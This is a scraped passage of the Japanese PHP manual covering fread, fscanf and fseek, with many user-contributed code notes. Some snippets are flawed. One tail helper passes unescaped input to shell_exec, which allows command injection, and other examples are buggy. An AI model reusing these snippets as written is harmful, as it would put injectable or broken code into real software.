  header("Expires: ".gmdate("D, d M Y H:i:s", mktime(date("H")+2, date("i"), date("s"), date("m"), date("d"), date("Y")))." GMT");
  header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  header("Content-Type: application/octet-stream");
  header("Content-Length: ".(string)(filesize($path)));
  header("Content-Disposition: inline; filename=$name");
  header("Content-Transfer-Encoding: binary\n");
  if ($file = fopen($path, 'rb')) {
    while(!feof($file) and (connection_status()==0)) {
      print(fread($file, 1024*8));
      flush();
    }
    fclose($file);
  }
  return((connection_status()==0) and !connection_aborted());
}
?>

And here's an example of using the function:

<?php
if (!send_file("platinumdemo.zip")) {
die ("file transfer failed");
// either the file transfer was incomplete
// or the file was not found
} else {
// the download was a success
// log, or do whatever else
}
?>

Regards,
Rasmus Schultz
ibis at connect dot ie 01-Dec-2004 02:23
If, like me, you're in the habit of using fopen("http://...") and fread for pulling fairly large remote files, you may find that the upgrade to PHP5 (5.0.2 on Win2000/IIS5) causes fread to top out at about 8035 bytes. PHP5 RC2 with identical php.ini settings did not exhibit this behaviour (I was using this for testing). Irritating for me because I was using simple_xml_load to load the file contents as XML, and the problem initially appeared to be that function.

Solution - swap over to file_get_contents or use the loop suggested on the documentation above (see Warning).
fpinho at hotpop dot com 13-Oct-2004 02:21
After using the suggested function from Rasmus Schultz : mindplay(at)mindplay(dot)dk, I've just noticed that people trying to download big files with a slow connection would get download stopped after exactly 60seconds -> the max execution time set with php.ini.
I suggest using a bigger buffer (1024x1024), or maybe resetting the time limit within the 'while' cicle with:
   set_time_limit(0);

The cicle would go like this:

<?php
   while(!feof($file) and (connection_status()==0)) {
     print(fread($file, 1024*1024));
     set_time_limit(0);
     flush();
   }
?>

Frederico Pinho
webmaster at wildpeaks dot com 14-May-2004 12:32
The following function retrieves a line in a file, regardless of its size, so you won't get an error if the file's size is beyond php's allowed memory limit (the string has to be below however), which is something i was needing for accessing a big log file generated by a webhost. Indexes start at 1 (so $line = 1 means the first line unlike arrays). If the file is small, it would be better to use "file()" however.

<?php
function strpos_count($haystack, $needle, $i = 0) {
    while (strpos($haystack,$needle) !== false) {$haystack = substr($haystack, (strpos($haystack,$needle) + 1)); $i++;}
    return $i;
}
function getLine($file,$line=1){
    $occurence = 0;
    $contents = '';
    $startPos = -1;
    if (!file_exists($file)) return '';
    $fp = @fopen($file, "rb");
    if (!$fp) return '';
    while (!@feof($fp)) {
        $str = @fread($fp, 1024);
        $number_of_occurences = strpos_count($str,"\n");
        if ($number_of_occurences == 0) {if ($start_pos != -1) {$contents .= $str;}}
        else {
            $lastPos = 0;
            for ($i = 0; $i < $number_of_occurences; $i++){
                $pos = strpos($str,"\n", $lastPos);
                $occurence++;
                if ($occurence == $line) {
                    $startPos = $pos;
                    if ($i == $number_of_occurences - 1) {$contents = substr($str, $startPos + 1);}
                } elseif ($occurence == $line + 1) {
                    if ($i == 0) {$contents .= substr($str, 0, $pos);} else {$contents = substr($str, $startPos, $pos - $startPos);}
                    $occurence = 0;
                    break;
                }
                $lastPos = $pos + 1;
            }
        }
    }
    @fclose($fp);
    return $contents;
}
?>
rob at lbox.org 14-Nov-2002 01:28
I spent a while trying to get this to work so I thought I'd share.

Here's how to read a remote binary file using fread.

<?php
$fp = fopen("http://www.example.com/img.jpg", "rb");

if($fp){
 while(!feof($fp)) {
     $img = $img . fread($fp, 1024);
 }
}
?>

This will read the contents of the file into the var $img 1024 bytes at a time.  I used that number because it seemed safe, but you can increment it all you want I guess.

I don't know if everyone but me gets this, but I thought I'd share since I didn't see anything like it out there.
heikki dot korpela at wapit dot com 26-Aug-2000 02:22
Fread is binary-safe IF AND ONLY IF you don't use magic-quotes. If you do, all null bytes will become \0, and you might get surprising results when unpacking.

That is, you would do something like

<?php
set_magic_quotes_runtime(0);
?>

before fread()

and something like

<?php
set_magic_quotes_runtime(get_magic_quotes_gpc()) after.
?>

And, after fread, an unpack would be needed, of course. Surprisingly, pack(), however, does not work quite like in Perl (or perhaps I'm just missing something here) - you can't pack an array directly, but instead you'll have to pack each element seperately to the string:

<?php
foreach ($data as $dec) {
  $data_output .= pack("C*", $dec);
}
?>


フォーマットに基づきファイルからの入力を処理する

  • ≪ fread
  • fseek ≫
  • PHP Manual
  • ファイルシステム 関数
  • フォーマットに基づきファイルからの入力を処理する

fscanf

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

fscanf — フォーマットに基づきファイルからの入力を処理する

説明

fscanf ( resource $stream , string $format , mixed &...$vars ) : array|int|false|null

関数fscanf() は sscanf() に似ていますが、stream が指すファイルから入力を取得し、 指定したフォーマット format に基づき解釈を行います。 フォーマットについては sprintf() に解説されています。

フォーマット文字列におけるあらゆる空白は 入力ストリームのあらゆる空白にマッチします。 これはつまりフォーマット文字列の\t（タブ）すらも 入力ストリームの空白1個にマッチしてしまうことを意味します。

fscanf() をコールするたびに、ファイルから 1 行ずつ読み込みます。

パラメータ

stream

fopen() を使用して作成したファイルシステムポインタリソース。

format

0個以上のディレクティブで構成されるフォーマット文字列: 変換結果に直接コピーされる通常文字列 (% は除きます) と、変換仕様。 これらのいずれも、自分が持つパラメータを取得します。

変換の仕様は、以下のプロトタイプに従います: %[argnum$][flags][width][.precision]specifier.

Argnum

何番目の引数を変換の対象にするかを指定するために、 数値の後にドル記号 $ を続けます。

フラグ一覧
フラグ | 説明
- 与えられたフィールドの幅を左寄せにします。 右寄せがデフォルトです。
+ 正の数値の前に付ける + 符号です; デフォルトは、負の数にだけマイナスの符号が数値の前に付きます。
(space) | スペースに変換される詰め物です。 これがデフォルトです。
0 | 数値の左側を0埋めします。 s 指定子を使うと、 右側にも0埋めできます。
'(char) | 指定された (char) で埋めます。

Width

(最小で)何文字がこの変換結果に含まれるかを数値で指定します。

Precision

ピリオド . の後に数値を続けますが、 その意味は指定子に依存します:

  • e, E, f と F 指定子の場合: 小数点の後に表示する桁数 (デフォルトでは、この値は6です)
  • g と G 指定子の場合: 表示する最大の有効桁数
  • s 指定子の場合: 文字列を切り捨てる時点、つまり、文字列の最大の長さを設定します。

注意: 明示的に精度を指定せず、ピリオドを指定した場合、精度は0として扱われます。

注意: 位置を示す指定子に、PHP_INT_MAX を超える値を指定すると、警告が発生します。

指定子の一覧
指定子 | 説明
% 文字通り、パーセント文字です。 引数は不要です。
b | 引数は数値として扱われ、バイナリ値として表現されます。
c | 引数は数値として扱われ、ASCII文字として表現されます。
d | 引数は数値として扱われ、(符号付き)小数値として表現されます。
e | 引数は科学的記法で表現された値(e.g. 1.2e+2)として扱われます。 PHP 5.2.1 以降では、precision 指定子が小数点以降の桁数を表します。 それより前のバージョンでは、(ひと桁少ない) 有効桁数として解釈されていました。
E | e 指定子に似ていますが、 大文字を使います(e.g. 1.2E+2)
f | 引数は小数として扱われ、浮動小数値として表現されます(ロケールを考慮します)。
F | 引数は小数として扱われ、浮動小数値として表現されます(ロケールを考慮しません)。 PHP 5.0.3 以降で利用可能です
g

汎用フォーマット

P を精度を表す、ゼロでない値とします。 精度が省略された場合、Pの値は6です。 精度に0を指定した場合、Pの値は1になります。 この場合、 E 指定子の変換結果は、 X乗になります。

P > X ? ?4 の場合、E 指定子の変換結果となり、精度は、P ? (X + 1) になります。 そうでない場合、e 指定子の変換結果となり、 精度は、P - 1 になります。

G | g 指定子に似ていますが、 E と f を使います。
h | g 指定子に似ていますが、 F を使います。 PHP 8.0.0 以降で利用可能です。
H | g 指定子に似ていますが、 E と F を使います。 PHP 8.0.0 以降で利用可能です。
o | 引数は数値として扱われ、8進数値として表現されます。
s | 引数は文字列として扱われ、文字列として表現されます。
u | 引数は数値として扱われ、符号なし小数値として表現されます。
x | 引数は数値として扱われ、16進数値(小文字)として表現されます。
X | 引数は数値として扱われ、16進数値(大文字)として表現されます。

警告

c 指定子はパディングと幅を無視します

警告

文字列と width 指定子を、1文字の表現に1バイト以上必要な文字セットと一緒に使おうとすると、 期待しない結果になるかもしれません。

値は、指定子の型に合うように強制されます:

型のハンドリング
型 | 指定子
string | s
integer | d, u, c, o, x, X, b
double | g, G, e, E, f, F

vars

オプションで代入する値。

返り値

この関数のパラメータが二つだけの場合、処理された値は配列として返されます。 他方、オプションのパラメータが指定された場合、 この関数は、代入された値の数を返します。 オプション引数は参照渡しとする必要があります。

string で利用可能な部分文字列よりも、 format で期待された部分文字列の数が多い場合は、null が返されます。 その他のエラーが発生した場合は、false が返されます。

例

例1 fscanf() の例

<?php
$handle = fopen("users.txt", "r");
while ($userinfo = fscanf($handle, "%s\t%s\t%s\n")) {
    list ($name, $profession, $countrycode) = $userinfo;
    //... これらの値を使用して何か行う
}
fclose($handle);
?>

例2 users.txt の内容

javier  argonaut        pe
hiroshi sculptor        jp
robert  slacker us
luigi   florist it

参考

  • fread() - バイナリセーフなファイルの読み込み
  • fgets() - ファイルポインタから 1 行取得する
  • fgetss() - ファイルポインタから 1 行取り出し、HTML タグを取り除く
  • sscanf() - フォーマット文字列に基づき入力を処理する
  • printf() - フォーマット済みの文字列を出力する
  • sprintf() - フォーマットされた文字列を返す

User Contributed Notes

hdh265 at 163 dot com 13-Apr-2015 05:19
The use of PHP code in the ACM submission
Here is a sample solution for problem 1001 using PHP:
<?php
while (fscanf(STDIN, "%d%d", $a, $b) == 2) {
    print ($a + $b) . "\n";
}
nico at nicoswd dot com 28-Aug-2013 09:25
If you want to parse a cron file, you may use this pattern:

<?php

while ($cron = fscanf($fp, "%s %s %s %s %s %[^\n]s"))
{

}

?>
arentzen at religion dot dk 30-Sep-2007 02:56
If you want fscanf()to scan one variable in a large number of lines,  e.g an Ipadress in a line with more variables, then use fscanf with explode()
<?
$filename = "somefile.txt";
$fp = fopen($filename, "r") or die ("Error opening file! \n");
$u = explode(" ",$line); // $u is the variable eg. an IPadress
while ($line = fscanf($fp,"%s",$u)) {
if(preg_match("/^$u/",$_SERVER['REMOTE_ADDR'])) {$badipadresss++;} // do something and continue scan
}
?>
Besides, fscanf()is much faster than fgets()
Bertrand dot Lecun at prism dot uvsq dot Fr 30-May-2007 12:48
It would be great to precise in the fscanf documentation
that one call to the function, reads a complete line.
and not just the number of values defined in the format.

If a text file contains 2 lines each containing 4 integer values,
reading the file with 8 fscanf($fd,"%d",$v) doesnt run !
You have to make 2
fscanf($fd,"%d %d %d %d",$v1,$v2,$v3,$v4);

Then 1 fscanf per line.
loco.xxx at gmail dot com 24-Jul-2006 12:46
to include all type of visible chars you should try:

<?php fscanf($file_handler,"%[ -~]"); ?>
worldwideroach at hotmail dot com 14-Jul-2005 09:33
Yet another function to read a file and return a record/string by a delimiter.  It is very much like fgets() with the delimiter being an additional parameter.  Works great across multiple lines.

function fgetd(&$rFile, $sDelim, $iBuffer=1024) {
    $sRecord = '';
    while(!feof($rFile)) {
        $iPos = strpos($sRecord, $sDelim);
        if ($iPos === false) {
            $sRecord .= fread($rFile, $iBuffer);
        } else {
            fseek($rFile, 0-strlen($sRecord)+$iPos+strlen($sDelim), SEEK_CUR);
            return substr($sRecord, 0, $iPos);
        }
    }
    return false;
}
robert at NOSPAM dot NOSPAM 24-Oct-2002 04:08
actually, instead of trying to think of every character that might be in your file, excluding the delimiter would be much easier.

for example, if your delimiter was a comma use:

%[^,]

instead of:

%[a-zA-Z0-9.| ... ]

Just make sure to use %[^,\n] on your last entry so you don't include the newline.
eugene at pro-access dot com 16-Mar-2002 12:39
If you want to read text files in csv format or the like(no matter what character the fields are separated with), you should use fgetcsv() instead. When a text for a field is blank, fscanf() may skip it and fill it with the next text, whereas fgetcsv() correctly regards it as a blank field.
james at zephyr-works dot com 08-Jul-2001 12:29
fscanf works a little retardedly I've found. Instead of using just a plain %s you probably will need to use sets instead. Because it works so screwy compared to C/C++, fscanf does not have the ability to scan ahead in a string and pattern match correctly, so a seemingly perfect function call like:

fscanf($fh, "%s::%s");

With a file like:

user::password

Will not work. When fscanf looks for a string, it will look and stop at nothing except for a whitespace so :: and everything except whitespace is considered part of that string, however you can make it a little smarter by:

fscanf($fh, "%[a-zA-Z0-9,. ]::%[a-zA-Z0-9,. ]" $var1, $var2);

Which tells it that it can only accept a through z A through Z 0 through 9 a comma a period and a whitespace as input to the string, everything else cause it to stop taking in as input and continue parsing the line. This is very useful if you want to get a sentence into the string and you're not sure of exactly how many words to add, etc.
yasuo_ohgaki at hotmail dot com 12-Mar-2001 11:59
For C/C++ programmers.

fscanf() does not work like C/C++, because PHP's fscanf() move file pointer the next line implicitly.


ファイルポインタを移動する

  • ≪ fscanf
  • fstat ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルポインタを移動する

fseek

(PHP 4, PHP 5, PHP 7, PHP 8)

fseek — ファイルポインタを移動する

説明

fseek ( resource $stream , int $offset , int $whence = SEEK_SET ) : int

stream が指しているファイルのファイル位置識別子を ファイル・ストリーム中の offset バイト目に セットします。新規位置は、ファイルの先頭からのバイト数で 測られます。これは whence で指定した位置に offset を追加することにより得られます。

一般的に、ファイルの終端より先の位置に移動することも許されています。 そこにデータを書き込んだ場合、ファイルの終端からシーク位置までの範囲を読み込むと 値 0 が埋められたバイトを返します。しかし、ストリームの種類によっては この挙動をサポートしていないものもあります。 ストリームのもとになっているストレージが固定長である場合などです。

パラメータ

stream

fopen() を使用して作成したファイルシステムポインタリソース。

offset

オフセット。

ファイルの終端から数えた位置に移動するには、負の値を offset に渡して whence を SEEK_END に設定しなければなりません。

whence

whence の値は以下のようになります。

  • SEEK_SET - 位置を offset バイト目に設定する
  • SEEK_CUR - 現在の位置に offset を加えた位置に設定する
  • SEEK_END - ファイル終端に offset を加えた位置に設定する

返り値

成功すると 0 を返し、そうでなければ -1 を返します。

例

例1 fseek() の例

<?php

$fp = fopen('somefile.txt', 'r');

// データを読み込む
$data = fgets($fp, 4096);

// ファイルの先頭に移動する。
// rewind($fp); と等価。
fseek($fp, 0);

?>

注意

注意:

追加モード (a あるいは a+) でファイルをオープンした場合、 ファイル位置によらず、ファイルに書き込むあらゆるデータが追加されます。また fseek() の結果は未定義となります。

注意:

すべてのストリームがシーク処理に対応しているわけではありません。 シークに対応していないストリームで現在位置から前方へのシークを行うには、 データを読み込んでそれを捨てていくしかありません。それ以外のやり方は失敗します。

参考

  • ftell() - ファイルの読み書き用ポインタの現在位置を返す
  • rewind() - ファイルポインタの位置を先頭に戻す

User Contributed Notes

marin at sagovac dot com 26-Jun-2016 01:33
Seek to a line of code than break from while to improve performance. Seek to specific line using SEEK_SET and get a specific line. If $range is '0' than will show seeked line. If set to '2' it will show current line + 2 lines above + 2 lines below.

Useful for get a content of a file in very huge file to get lines range. To improve performance a while loop breaks from iteration than go for seeking.

I've created a function that read a file and count lines and store into arrays each lines bytes to seek. If maximum specified by `linenum` is set, it will break from while to keep performance than in a new loop function to seek a position in bytes to get a content of file.

    function readFileSeek($source, $linenum = 0, $range = 0)
    {
        $fh = fopen($source, 'r');
        $meta = stream_get_meta_data($fh);

        if (!$meta['seekable']) {
            throw new Exception(sprintf("A source is not seekable: %s", print_r($source, true)));
        }

        $pos = 2;
        $result = null;

        if ($linenum) {
            $minline = $linenum - $range - 1;
            $maxline = $minline+$range+$range;
        }

        $totalLines = 0;
        while (!feof($fh)) {

            $char = fgetc($fh);

            if ($char == "\n" || $char == "\r") {
                ++$totalLines;
            } else {
                $result[$totalLines] = $pos;
            }
            $pos++;

            if ($maxline+1 == $totalLines) {
                // break from while to not read entire file
                break;
            }
        }

        $buffer = '';

        for ($nr=$minline; $nr<=$maxline; $nr++) {

            if (isset($result[$nr])) {

                fseek($fh, $result[$nr], SEEK_SET);

                while (!feof($fh)) {
                    $char = fgetc($fh);

                    if ($char == "\n" || $char == "\r") {
                        $buffer .= $char;
                        break;
                    } else {
                        $buffer .= $char;
                    }
                }

            }
        }

        return $buffer;
    }

Test results (1.3 GB file, 100000000 lines of codes, seek to 300000 line a code):

    string(55) "299998_abc
    299999_abc
    300000_abc
    300001_abc
    300002_abc
    "

    Time: 612 ms, Memory: 20.00Mb

    $ ll -h /tmp/testfile
    -rw-rw-r-- 1  1,3G /tmp/testfile
synnus at gmail dot com 07-Aug-2014 03:54
Write Dummy File 4GB in Php 32bits (X86)
if you want write more GB File (>4GB), use Php(X64) .
this file is created in 0.0041329860687256 second

CreatFileDummy('data_test.txt',4294967296);

FUNCTION CreatFileDummy($file_name,$size) {
// 32bits 4 294 967 296 bytes MAX Size
    $f = fopen($file_name, 'wb');
    if($size >= 1000000000)  {
        $z = ($size / 1000000000);
        if (is_float($z))  {
            $z = round($z,0);
            fseek($f, ( $size - ($z * 1000000000) -1 ), SEEK_END);
            fwrite($f, "\0");
        }
        while(--$z > -1) {
            fseek($f, 999999999, SEEK_END);
            fwrite($f, "\0");
        }
    }
    else {
        fseek($f, $size - 1, SEEK_END);
        fwrite($f, "\0");
    }
    fclose($f);

Return true;
}

Synx
lexica98 at gmail dot com 15-Feb-2014 05:23
Opening the file in a+ mode doesn't work with fseek either, unfortunately. If you want a file created and then want be able to go to any position in the file, you'll have to use append mode when opening the file, then close it, then open it again in r+.
me at php dot net 09-Jul-2013 09:14
how to read BIG files using fseek (above 2GB+, upto any size like 4GB+, 100GB+, 100 terabyes+, any file size, 100 petabytes, max limit is php_float_max ) ?

// seek / set file pointer to 50 GB
my_fseek($fp, floatval(50000000000),1);

function my_fseek($fp,$pos,$first=0) {

// set to 0 pos initially, one-time
if($first) fseek($fp,0,SEEK_SET);

// get pos float value
$pos=floatval($pos);

 // within limits, use normal fseek
if($pos<=PHP_INT_MAX)
  fseek($fp,$pos,SEEK_CUR);
 // out of limits, use recursive fseek
else {
  fseek($fp,PHP_INT_MAX,SEEK_CUR);
  $pos -= PHP_INT_MAX;
  my_fseek($fp,$pos);
}

}

hope this helps.
lorenzo dot stanco at gmail dot com 17-Mar-2013 06:38
I want to give my contribution about the "read last lines from a file" topic. I've done some researches (starting from here, really) and run many tests for different algorithms and scenarios, and came up with this:

What is the best way in PHP to read last lines from a file?
http://stackoverflow.com/a/15025877/995958

In that mini-article I tried to analyze all different methods and their performance over different files.

Hope it helps.
Anonymous 21-Nov-2011 07:43
I needed to stream a txt file (here big xml file) to get nodes blockwise. I couldn't find a shorter way. So i did write this class.

Function: streams a complete file and returns the content between two search strings with their search strings (multi byte safe)

Hope it helps anyone.

PS: It lacks any boolean checks / exception handling for non existing files / read errors.

<?php
/**
 * Reads txt-files blockwise
 * Usage:
    $c_streamFileTxt = new streamFileTxt;
    $_args = array(

        'file' => 'temporary.xml',
        'start_string' => '<Product>',
        'stop_string' => '</Product>',
        'block_size' => '8192'
    );

    $c_streamFileTxt->setArgs($_args);

    while ($txt_block = $c_streamFileTxt->getNextBlock())
    {
        // use $txt_block for something
    }
 */

class streamFileTxt
{
    private $handle;
    private $file;
    private $file_offset;
    private $block;
    private $start_string;
    private $stop_string;
    private $block_size;

    /**
     * Sett class arguments
     * @param array $_args
     */
    public function setArgs($_args)
    {
        $this->file = $_args['file'];
        $this->start_string = $_args['start_string'];
        $this->stop_string = $_args['stop_string'];
        $this->block_size = $_args['block_size'];
    }

    /**
     * Get next textblock within a file
     * @param void
     * @return string $textblock
     */
    public function getNextBlock()
    {
        $this->openFile();

        fseek($this->handle, $this->file_offset);
        $start_string_found = false;
        $stop_string_found = false;
        while (!feof($this->handle))
        {
            $txt_block = fread($this->handle, $this->block_size);

            if (!$start_string_found) // while not start start snippet found
            {
                $strpos = mb_strpos($txt_block, $this->start_string);
                if ($strpos !== false)
                {
                    // cut of first left chunk
                    $txt_block = mb_substr($txt_block, $strpos, $this->block_size);
                    $start_string_found = true;
                }
            }

            if ($start_string_found && !$stop_string_found) // start snipped found, looking for stop snippet
            {
                $strpos = mb_strpos($txt_block, $this->stop_string);
                if ($strpos !== false)
                {
                    $removed_block_size = mb_strlen($txt_block) - $strpos;
                    $txt_block = mb_substr($txt_block, 0, $strpos + mb_strlen($this->stop_string));
                    $stop_string_found = true;
                    $this->setFileOffset($removed_block_size);
                }
            }

            if ($stop_string_found) // stop-snippet found, keep file offset, return
            {
                $this->closeFile();
                return $txt_block;
            }
        }

        $this->closeFile();
        return false;
    }

    /**
     * Set current file offset and consider the removed block size
     * current file position = current file offset - removed block size
     * @param int $removed_block_size
     */
    private function setFileOffset($removed_block_size)
    {
        $this->file_offset = ftell($this->handle) - $removed_block_size;
    }

    /**
     * close current file
     * @param void
     * @return void
     */
    private function openFile()
    {
        $this->handle = fopen($this->file, 'r');
    }

    /**
     * open file
     * @param void
     * @return void
     */
    private function closeFile()
    {
        fclose($this->handle);
    }
}
kavoshgar3 at gmail dot com 28-Oct-2011 09:06
sometimes we want read file from last line to beginning of file.I use the following.
<?php
function read_backward_line($filename, $lines, $revers = false)
{
    $offset = -1;
    $c = '';
    $read = '';
    $i = 0;
    $fp = @fopen($filename, "r");
    while( $lines && fseek($fp, $offset, SEEK_END) >= 0 ) {
        $c = fgetc($fp);
        if($c == "\n" || $c == "\r"){
            $lines--;
            if( $revers ){
                $read[$i] = strrev($read[$i]);
                $i++;
            }
        }
        if( $revers ) $read[$i] .= $c;
        else $read .= $c;
        $offset--;
    }
    fclose ($fp);
    if( $revers ){
        if($read[$i] == "\n" || $read[$i] == "\r")
            array_pop($read);
        else $read[$i] = strrev($read[$i]);
        return implode('',$read);
    }
    return strrev(rtrim($read,"\n\r"));
}
//if $revers=false function return->
//line 1000: i am line of 1000
//line 1001: and i am line of 1001
//line 1002: and i am last line
//but if $revers=true function return->
//line 1002: and i am last line
//line 1001: and i am line of 1001
//line 1000: i am line of 1000
?>
Enjoy! Mail me if it works!  ;-)
Anonymous 18-Mar-2011 06:56
The official docs indicate that not all streams are seekable.
You can try to seek anyway and handle failure:

<?php
if (fseek($stream, $offset, SEEK_CUR) === -1) {
  // whatever
}
?>

Or, you can use the stream_get_meta_data function:
http://php.net/stream_get_meta_data

<?php
function fseekable($stream) {
  $meta = stream_get_meta_data($stream);
  return $meta['seekable'];
}
?>
necudeco at gmail dot com 23-Jul-2010 10:31
This a tail php script example for windows system.

<?php
$n = ( isset($_REQUEST['n']) == true )? $_REQUEST['n']:20;

$offset = -$n * 120;

$rs = fopen('C:/wamp/logs/apache_error.log','r');
if ( $rs === false )
    die("No se pudo abrir el archivo de log");

fseek($rs,$offset,SEEK_END);

fgets($rs);
while(!feof($rs))
{
    $buffer = fgets($rs);
    echo $buffer;
    echo "<hr />";
}

fclose($rs);
?>
steve at studio831 dot com 23-Jul-2009 01:49
Modified @ben's function to work for files larger than PHP_INT_MAX bytes.

<?php
function longTail($file, $numLines = 100)
{
    $fp = fopen($file, "r");
    $chunk = 4096;
    $fs = sprintf("%u", filesize($file));
    $max = (intval($fs) == PHP_INT_MAX) ? PHP_INT_MAX : filesize($file);

    for ($len = 0; $len < $max; $len += $chunk) {
        $seekSize = ($max - $len > $chunk) ? $chunk : $max - $len;

        fseek($fp, ($len + $seekSize) * -1, SEEK_END);
        $data = fread($fp, $seekSize) . $data;

        if (substr_count($data, "\n") >= $numLines + 1) {
            preg_match("!(.*?\n){".($numLines)."}$!", $data, $match);
            fclose($fp);
            return $match[0];
        }
    }
    fclose($fp);
    return $data;
}
?>
Tom Pittlik 23-Apr-2009 12:32
The tail example functions below will return a PHP memory limit error when trying to open large files. Since tail is convenient for opening large logs, here is a function that lets you (provided you have permission):

<?php

function unix_tail($lines,$file)
{
    shell_exec("tail -n $lines $file > /tmp/phptail_$file");
    $output = file_get_contents("/tmp/phptail_$file");
    unlink("/tmp/phptail_$file");
    return $output;
}

?>
ben at nullcreations dot net 22-Oct-2008 02:38
easier tail() function for php:

<?php
function tail($file, $num_to_get=10)
{
  $fp = fopen($file, 'r');
  $position = filesize($file);
  fseek($fp, $position-1);
  $chunklen = 4096;
  while($position >= 0)
  {
    $position = $position - $chunklen;
    if ($position < 0) { $chunklen = abs($position); $position=0;}
    fseek($fp, $position);
    $data = fread($fp, $chunklen). $data;
    if (substr_count($data, "\n") >= $num_to_get + 1)
    {
       preg_match("!(.*?\n){".($num_to_get-1)."}$!", $data, $match);
       return $match[0];
    }
  }
  fclose($fp);
  return $data;
}
?>
Anonymous 11-Apr-2008 10:45
To:seeker at example com
Be careful, though.
You can freely position you pointer if you open a file in (r+) mode, but it will "overwrite" the data, not "append it".

Tested this:

<?php
// file.txt content:
// "You can contribute your notes to the PHP manual from the comfort of your browser!"

$handler = fopen("file.txt", "r+");
fseek($handler, 0);
fwrite($handler, "want to add this");
?>
New contents of the file.txt will be like this:
"want to add thiste your notes to the PHP manual from the comfort of your browser!".

If you really want to append at the beginning, you have to first get all the contents, save it, clear the file, put the new contents and append the saved contents at the end.
seeker at example com 28-Feb-2008 08:40
JUST TO QUOTE AND POINT THIS OUT:

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
3. if you're using fseek() to write data to a file, remember to open the file in "r+"
mode, example:

  $fp=fopen($filename,"r+");

DON'T open the file in mode "a" (for append), because it puts
 the file pointer at the end of the file and doesn't let you
fseek earlier positions in the file (it didn't for me!). Also,
don't open the file in mode "w" -- although this puts you at
the beginning of the file -- because it wipes out all data in
the file.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Took me half a day to figure :/
mhinks at gmail dot com 26-Feb-2007 11:38
Here's a function I wrote to binary search for a line of text within a file, particularly useful when the file is too large to read into memory at once and you want a faster search than linear.

function binary_search_in_file($filename, $search) {

    //Open the file
    $fp = fopen($filename, 'r');

    //Seek to the end
    fseek($fp, 0, SEEK_END);

    //Get the max value
    $high = ftell($fp);

    //Set the low value
    $low = 0;

    while ($low <= $high) {
        $mid = floor(($low + $high) / 2);  // C floors for you

        //Seek to half way through
        fseek($fp, $mid);

        if($mid != 0){
            //Read a line to move to eol
            $line = fgets($fp);
        }

        //Read a line to get data
        $line = fgets($fp);

        if ($line == $search) {
            fclose($fp);
            return $line;
        }
        else {
            if ($search < $line) {
                $high = $mid - 1;
            }
            else {
                $low = $mid + 1;
            }
        }
    }

    //Close the pointer
    fclose($fp);

    return FALSE;

}
marc dot roe at gmail dot com 19-Aug-2006 09:38
I tried to improve and modify (mail at ulf-kosack dot de)'s function. Actually it is very fast, i.e. requires much less time than to get the last five, ten or whatever lines of a file using file() ore file_get_contents().

function read_file($file, $lines)
{
       $handle = fopen($file, "r");
       $linecounter = $lines;
       $pos = -2;
       $beginning = false;
       $text = array();
       while ($linecounter > 0) {
         $t = " ";
         while ($t != "\n") {
           if(fseek($handle, $pos, SEEK_END) == -1) {
$beginning = true; break; }
           $t = fgetc($handle);
           $pos --;
         }
         $linecounter --;
         if($beginning) rewind($handle);
         $text[$lines-$linecounter-1] = fgets($handle);
         if($beginning break;
       }
       fclose ($handle);
       return array_reverse($text); // array_reverse is optional: you can also just return the $text array which consists of the file's lines.
}

The good thing now is, that you don't get an error when your requesting more lines than the file contains. In this case the function will just return the whole file content.
lucky at somnius dot com dot ar 18-Aug-2006 05:35
Jim's (jim at lfchosting dot com) code for the last-line issue is perfect if the file is not empty, or moreover if it has more than one line. However if the file you're using cotains no new-line character at all (i.e. it is empty or it's got one line and only one) the while loop will stuck indefinitely.

I know this script is meant for big files which would always contain at least several lines, but it would be clever to make the script error-proof.

Thus, here's a little modification to his code.

<?php
function readLastLine ($file) {
    $fp = @fopen($file, "r");

    $pos = -1;
    $t = " ";
    while ($t != "\n") {
        if (!fseek($fp, $pos, SEEK_END)) { // *** - fseek returns 0 if successfull, and -1 if it has no succes as in seeking a byte outside the file's range
            $t = fgetc($fp);
            $pos = $pos - 1;
        } else { // ***
            rewind($fp); // ***
            break; // ***
        } // ***
    }
    $t = fgets($fp);
    fclose($fp);
    return $t;
}
?>

Lines added and/or modified have been marked with "// ***". I hope this helps!

Regards!
mail at ulf-kosack dot de 27-May-2006 10:44
Here a little extension for the code of ekow.
If you want to read more than one line and more than one file. Some times the last five ore ten lines are interesting in.

You only have to submit a array with filenames and optionally a number of lines you want to read.

<?php
  function read_logfiles($files, $lines=5)
  {
    foreach($files as $file_num => $file) {
      if (file_exists ($file) ) {
        $handle = fopen($file, "r");
        $linecounter = $lines;
        $pos = -2;
        $t = " ";
        $text[$file_num] = "";
        while ($linecounter > 0) {
          while ($t != "\n") {
            fseek($handle, $pos, SEEK_END);
            $t = fgetc($handle);
            $pos --;
          }
          $t = " ";
          $text[$file_num] .= fgets($handle);
          $linecounter --;
        }
        fclose ($handle);
      } else {
        $text[$file_num] = "The file doesn't exist.";
      }
    }

    return $text;
?>
ekow[at]te.ugm.ac.id 11-Dec-2005 05:22
A little correction for code to read last line from chenganeyou at eyou dot com.
$linenumber = sizeof($file)-1;
should be
$linenumber = sizeof($contents)-1;
because sizeof will count array element, not file size.
<?php
function readlastline($file)
{
       $linecontent = " ";
       $contents = file($file);
       $linenumber = sizeof($contents)-1;
       $linecontet = $contents[$linenumber];
       unset($contents,$linenumber);
       return $linecontent;
}
?>
chenganeyou at eyou dot com 27-Jun-2005 01:35
I use the following codes to read the last line of a file.
Compared to jim at lfchosting dot com, it should be more efficient.

<?php
function readlastline($file)
{
       $linecontent = " ";
       $contents = file($file);
       $linenumber = sizeof($file)-1;
       $linecontet = $contents[$linenumber];
       unset($contents,$linenumber);
       return $linecontent;
}
?>
phil at NOSPAM dot blisswebhosting dot com 25-May-2005 08:43
In order to read a text file from end->beginning e.g display the most recent contents of a log file first.  I use the following.

It basically just uses fseek to find the end of the file, ftell to find the byte count for a counter, then iterates backwards through the file using fgetc to test for the newline charater.

$i=0 ;
$lines=500 ;
$fp = fopen($log,"r") ;
if(is_resource($fp)){
    fseek($fp,0,SEEK_END) ;
    $a = ftell($fp) ;
    while($i <= $lines){
        if(fgetc($fp) == "\n"){
            echo (fgets($fp));
            $i++ ;
        }
    fseek($fp,$a) ;
    $a-- ;
    }
}
